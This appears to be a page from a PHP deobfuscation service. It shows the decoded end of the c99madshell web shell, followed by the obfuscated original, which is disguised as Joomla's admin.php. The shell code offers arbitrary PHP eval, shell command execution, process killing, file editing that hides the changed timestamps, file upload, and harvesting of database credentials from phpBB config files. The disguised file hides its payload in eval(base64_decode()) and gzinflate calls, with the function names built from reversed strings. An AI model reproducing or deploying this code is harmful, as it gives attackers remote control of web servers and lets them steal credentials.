<b>Datapipe:</b><br><form method="POST"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>"> Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>"> <select name="datapipe[src]"><?php
foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
?></select> <input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php
}
if ($act == "processes")
{
echo "<b>Processes:</b><br>";
if (!$win) {$handler = "ps -aux".($grep?" | grep \'".addslashes($grep)."\'":"");}
else {$handler = "tasklist";}
$ret = myshellexec($handler);
if (!$ret) {echo "Can\'t execute \"".$handler."\"!";}
else
{
if (empty($processes_sort)) {$processes_sort = $sort_default;}
$parsesort = parsesort($processes_sort);
if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
$k = $parsesort[0];
if ($parsesort[1] != "a") {$y = "<a href=\"#\" onclick=\"document.todo.act.value=\'".$dspact."\';document.todo.d.value=\'".urlencode($d)."\';document.todo.processes_sort.value=\'".$k."a\"\';document.todo.submit();\">!</a>";}
else {$y = "<a href=\"#\" onclick=\"document.todo.act.value=\'".$dspact."\';document.todo.d.value=\'".urlencode($d)."\';document.todo.processes_sort.value=\'".$k."d\"\';document.todo.submit();\">!</a>";}
$ret = htmlspecialchars($ret);
if (!$win)
{
if ($pid)
{
if (is_null($sig)) {$sig = 9;}
echo "Sending signal ".$sig." to #".$pid."... ";
if (posix_kill($pid,$sig)) {echo "OK.";}
else {echo "ERROR.";}
}
while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
$stack = explode("
",$ret);
$head = explode(" ",$stack[0]);
unset($stack[0]);
for($i=0;$i<count($head);$i++)
{
if ($i != $k) {$head[$i] = "<a href=\"#\" onclick=\"document.todo.act.value=\'".$dspact."\';document.todo.d.value=\'".urlencode($d)."\';document.todo.processes_sort.value=\'".$i.$parsesort[1]."\';document.todo.submit();\"><b>".$head[$i]."</b></a>";}
}
$prcs = array();
foreach ($stack as $line)
{
if (!empty($line))
{
echo "<tr>";
$line = explode(" ",$line);
$line[10] = join(" ",array_slice($line,10));
$line = array_slice($line,0,11);
if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
$line[] = "<a href=\"#\" onclick=\"document.todo.act.value=\'processes\';document.todo.d.value=\'".urlencode($d)."\';document.todo.pid.value=\'".$line[1]."\';document.todo.sig.value=\'9\';document.todo.submit();\"><u>KILL</u></a>";
$prcs[] = $line;
echo "</tr>";
}
}
}
else
{
while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
$ret = convert_cyr_string($ret,"d","w");
$stack = explode("
",$ret);
unset($stack[0],$stack[2]);
$stack = array_values($stack);
$head = explode(" ",$stack[0]);
$head[1] = explode(" ",$head[1]);
$head[1] = $head[1][0];
$stack = array_slice($stack,1);
unset($head[2]);
$head = array_values($head);
if ($parsesort[1] != "a") {$y = "<a href=\"#\" onclick=\"document.todo.act.value=\'".$dspact."\';document.todo.d.value=\'".urlencode($d)."\';document.todo.processes_sort.value=\'".$k."a\"\';document.todo.submit();\">!</a>";}
else {$y = "<a href=\"#\" onclick=\"document.todo.act.value=\'".$dspact."\';document.todo.d.value=\'".urlencode($d)."\';document.todo.processes_sort.value=\'".$k."d\"\';document.todo.submit();\">!</a>";}
if ($k > count($head)) {$k = count($head)-1;}
for($i=0;$i<count($head);$i++)
{
if ($i != $k) {$head[$i] = "<a href=\"#\" onclick=\"document.todo.act.value=\'".$dspact."\';document.todo.d.value=\'".urlencode($d)."\';document.todo.processes_sort.value=\'".$i.$parsesort[1]."a\"\';document.todo.submit();\"><b>".trim($head[$i])."</b></a>";}
}
$prcs = array();
foreach ($stack as $line)
{
if (!empty($line))
{
echo "<tr>";
$line = explode(" ",$line);
$line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
$line[2] = intval(str_replace(" ","",$line[2]))*1024;
$prcs[] = $line;
echo "</tr>";
}
}
}
$head[$k] = "<b>".$head[$k]."</b>".$y;
$v = $processes_sort[0];
usort($prcs,"tabsort");
if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
$tab = array();
$tab[] = $head;
$tab = array_merge($tab,$prcs);
echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
foreach($tab as $i=>$k)
{
echo "<tr>";
foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";}
echo "</tr>";
}
echo "</table>";
}
}
if ($act == "eval")
{
if (!empty($eval))
{
echo "<b>Result of execution this PHP-code</b>:<br>";
$tmp = ob_get_contents();
$olddir = realpath(".");
@chdir($d);
if ($tmp)
{
ob_clean();
eval($eval);
$ret = ob_get_contents();
$ret = convert_cyr_string($ret,"d","w");
ob_clean();
echo $tmp;
if ($eval_txt)
{
$rows = count(explode("
",$ret))+1;
if ($rows < 10) {$rows = 10;}
echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
}
else {echo $ret."<br>";}
}
else
{
if ($eval_txt)
{
echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
eval($eval);
echo "</textarea>";
}
else {echo $ret;}
}
@chdir($olddir);
}
else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
echo "<form method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
}
if ($act == "f")
{
if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
{
if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"#\" onclick=\"document.todo.act.value=\'f\';document.todo.f.value=\'".urlencode($f)."\';document.todo.ft.value=\'edit\';document.todo.c.value=\'1\';document.todo.d.value=\'".urlencode($d)."\';document.todo.submit();\"><u>Create</u></a></center>";}
}
else
{
$r = @file_get_contents($d.$f);
$ext = explode(".",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = "";
foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
if (empty($ft)) {$ft = $rft;}
$arr = array(
array("DIZ","info"),
array("HTML","html"),
array("TXT","txt"),
array("Code","code"),
array("Session","phpsess"),
array("EXE","exe"),
array("SDB","sdb"),
array("INI","ini"),
array("DOWNLOAD","download"),
array("RTF","notepad"),
array("EDIT","edit")
);
echo "<b>Viewing file: ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
foreach($arr as $t)
{
if ($t[1] == $rft) {echo " <a href=\"#\" onclick=\"document.todo.act.value=\'f\';document.todo.f.value=\'".urlencode($f)."\';document.todo.ft.value=\'".$t[1]."\';document.todo.d.value=\'".urlencode($d)."\';document.todo.submit();\"><font color=green>".$t[0]."</font></a>";}
elseif ($t[1] == $ft) {echo " <a href=\"#\" onclick=\"document.todo.act.value=\'f\';document.todo.f.value=\'".urlencode($f)."\';document.todo.ft.value=\'".$t[1]."\';document.todo.d.value=\'".urlencode($d)."\';document.todo.submit();\"><b><u>".$t[0]."</u></b></a>";}
else {echo " <a href=\"#\" onclick=\"document.todo.act.value=\'f\';document.todo.f.value=\'".urlencode($f)."\';document.todo.ft.value=\'".$t[1]."\';document.todo.d.value=\'".urlencode($d)."\';document.todo.submit();\"><b>".$t[0]."</b></a>";}
echo " |";
}
echo "<hr size=\"1\" noshade>";
if ($ft == "info")
{
echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
if (!$win)
{
echo "<tr><td><b>Owner/Group</b></td><td> ";
$ow = posix_getpwuid(fileowner($d.$f));
$gr = posix_getgrgid(filegroup($d.$f));
echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
}
echo "<tr><td><b>Perms</b></td><td><a href=\"#\" onclick=\"document.todo.act.value=\'chmod\';document.todo.f.value=\'".urlencode($f)."\';document.todo.d.value=\'".urlencode($d)."\';document.todo.submit();\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>";
$fi = fopen($d.$f,"rb");
if ($fi)
{
if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
$n = 0;
$a0 = "00000000<br>";
$a1 = "";
$a2 = "";
for ($i=0; $i<strlen($str); $i++)
{
$a1 .= sprintf("%02X",ord($str[$i]))." ";
switch (ord($str[$i]))
{
case 0: $a2 .= "<font>0</font>"; break;
case 32:
case 10:
case 13: $a2 .= " "; break;
default: $a2 .= htmlspecialchars($str[$i]);
}
$n++;
if ($n == $hexdump_rows)
{
$n = 0;
if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
$a1 .= "<br>";
$a2 .= "<br>";
}
}
//if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";}
echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>";
}
$encoded = "";
if ($base64 == 1)
{
echo "<b>Base64 Encode</b><br>";
$encoded = base64_encode(file_get_contents($d.$f));
}
elseif($base64 == 2)
{
echo "<b>Base64 Encode + Chunk</b><br>";
$encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
}
elseif($base64 == 3)
{
echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
$encoded = base64_encode(file_get_contents($d.$f));
$encoded = substr(preg_replace("!.{1,76}!","\'\0\'.
",$encoded),0,-2);
}
elseif($base64 == 4)
{
$text = file_get_contents($d.$f);
$encoded = base64_decode($text);
echo "<b>Base64 Decode";
if (base64_encode($encoded) != $text) {echo " (failed)";}
echo "</b><br>";
}
if (!empty($encoded))
{
echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
}
echo "<b>HEXDUMP:</b><nobr> [<a href=\"#\" onclick=\"document.todo.act.value=\'f\';document.todo.f.value=\'".urlencode($f)."\';document.todo.ft.value=\'info\';document.todo.fullhexdump.value=\'1\';document.todo.d.value=\'".urlencode($d)."\';document.todo.submit();\">Full</a>] [<a href=\"#\" onclick=\"document.todo.act.value=\'f\';document.todo.f.value=\'".urlencode($f)."\';document.todo.ft.value=\'info\';document.todo.d.value=\'".urlencode($d)."\';document.todo.submit();\">Preview</a>]<br><b>Base64: </b>
<nobr>[<a href=\"#\" onclick=\"document.todo.act.value=\'f\';document.todo.f.value=\'".urlencode($f)."\';document.todo.ft.value=\'info\';document.todo.base64.value=\'1\';document.todo.d.value=\'".urlencode($d)."\';document.todo.submit();\">Encode</a>] </nobr>
<nobr>[<a href=\"#\" onclick=\"document.todo.act.value=\'f\';document.todo.f.value=\'".urlencode($f)."\';document.todo.ft.value=\'info\';document.todo.base64.value=\'2\';document.todo.d.value=\'".urlencode($d)."\';document.todo.submit();\">+chunk</a>] </nobr>
<nobr>[<a href=\"#\" onclick=\"document.todo.act.value=\'f\';document.todo.f.value=\'".urlencode($f)."\';document.todo.ft.value=\'info\';document.todo.base64.value=\'3\';document.todo.d.value=\'".urlencode($d)."\';document.todo.submit();\">+chunk+quotes</a>] </nobr>
<nobr>[<a href=\"#\" onclick=\"document.todo.act.value=\'f\';document.todo.f.value=\'".urlencode($f)."\';document.todo.ft.value=\'info\';document.todo.base64.value=\'4\';document.todo.d.value=\'".urlencode($d)."\';document.todo.submit();\">Decode</a>] </nobr>
<P>";
}
elseif ($ft == "html")
{
if ($white) {@ob_clean();}
echo $r;
if ($white) {c99shexit();}
}
elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
elseif ($ft == "phpsess")
{
echo "<pre>";
$v = explode("|",$r);
echo $v[0]."<br>";
var_dump(unserialize($v[1]));
echo "</pre>";
}
elseif ($ft == "exe")
{
$ext = explode(".",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = "";
foreach($exeftypes as $k=>$v)
{
if (in_array($ext,$v)) {$rft = $k; break;}
}
$cmd = str_replace("%f%",$f,$rft);
echo "<b>Execute file:</b><form method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
}
elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
elseif ($ft == "code")
{
if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
{
$arr = explode("
",$r);
if (count($arr == 18))
{
include($d.$f);
echo "<b>phpBB configuration is detected in this file!<br>";
if ($dbms == "mysql4") {$dbms = "mysql";}
if ($dbms == "mysql") {echo "<a href=\"#\" onclick=\"document.sql.act.value=\'sql\';document.sql.sql_login.value=\'".htmlspecialchars($dbuser)."\';document.sql.sql_passwd.value=\'".htmlspecialchars($dbpasswd)."\';document.sql.sql_server.value=\'".htmlspecialchars($dbhost)."\';document.sql.sql_port.value=\'3306\';document.sql.sql_db.value=\'".htmlspecialchars($dbname)."\';document.sql.submit();\"><b><u>Connect to DB</u></b></a><br><br>";}
else {echo "But, you can\'t connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99madshell. Please, report us for fix.";}
echo "Parameters for manual connect:<br>";
$cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."=\'".htmlspecialchars($v)."\'<br>";}
echo "</b><hr size=\"1\" noshade>";
}
}
echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
if (!empty($white)) {@ob_clean();}
highlight_file($d.$f);
if (!empty($white)) {c99shexit();}
echo "</div>";
}
elseif ($ft == "download")
{
@ob_clean();
header("Content-type: application/octet-stream");
header("Content-length: ".filesize($d.$f));
header("Content-disposition: attachment; filename=\"".$f."\";");
echo $r;
exit;
}
elseif ($ft == "notepad")
{
@ob_clean();
header("Content-type: text/plain");
header("Content-disposition: attachment; filename=\"".$f.".txt\";");
echo($r);
exit;
}
elseif ($ft == "edit")
{
if (!empty($submit))
{
if ($filestealth) {$stat = stat($d.$f);}
$fp = fopen($d.$f,"w");
if (!$fp) {echo "<b>Can\'t write to file!</b>";}
else
{
echo "<b>Saved!</b>";
fwrite($fp,$edit_text);
fclose($fp);
if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
$r = $edit_text;
}
}
$rows = count(explode("
",$r));
if ($rows < 10) {$rows = 10;}
if ($rows > 30) {$rows = 30;}
echo "<form method=\"POST\"><input name=\'act\' type=\'hidden\' value=\'f\'><input name=\'f\' type=\'hidden\' value=\'".urlencode($f)."\'><input name=\'ft\' type=\'hidden\' value=\'edit\'><input name=\'d\' type=\'hidden\' value=\'".urlencode($d)."\'><input type=submit name=submit value=\"Save\"> <input type=\"reset\" value=\"Reset\"> <input type=\"button\" onclick=\"document.todo.act.value=\'ls\';document.todo.d.value=\'".addslashes(substr($d,0,-1))."\';document.todo.submit();\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
}
elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
}
}
if ($act == "about") {echo "r00t";}
?>
</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="#" onclick="document.todo.act.value=\'cmd\';document.todo.d.value=\'<?php echo urlencode($d); ?>\';document.todo.submit();"><b>Command execute</b></a> ::</b></p></td></tr>
<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute"></form></td></tr></TABLE>
<br>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
<tr>
<td width="50%" height="1" valign="top"><center><b>:: <a href="#" onclick="document.todo.act.value=\'search\';document.todo.submit();"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> - regexp <input type=submit name=submit value="Search"></form></center></p></td>
<td width="50%" height="1" valign="top"><center><b>:: <a href="#" onclick="document.todo.act.value=\'upload\';document.todo.submit();"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1"> <input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td>
</tr>
</table>
<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form method="POST"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit"> <input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table>
<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form method="POST"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form method="POST""><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go"></form></center></td></tr></table>
<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99madshell v. <?php echo $shver; ?><a href="#" OnClick="document.todo.act.value=\'about\';document.todo.submit();"><u> EDITED BY </b><b>MADNET</u></b> </a>| <a href="http://securityprobe.net"><font color="#FF0000">http://securityprobe.net</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table>
</body></html><?php chdir($lastdir); c99shexit();
'
Did this file decode correctly?
Original Code
<?php
/**
* @version $Id: admin.php 14401 2010-01-26 14:10:00Z louis $
* @package Joomla
* @subpackage Admin
* @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/
$v1 = strrev("edoced_46esab");
$v3 = strrev("etalfnizg");
eval($v1("JGxvZ2luPSI5MTMiOyRtZDVfcGFzcz0iNjk3MWYxYmZjODE3NDZjMzM5MjNiOWY3ZDhiZjU3ODYiOw=="));
echo gzinflate(base64_decode('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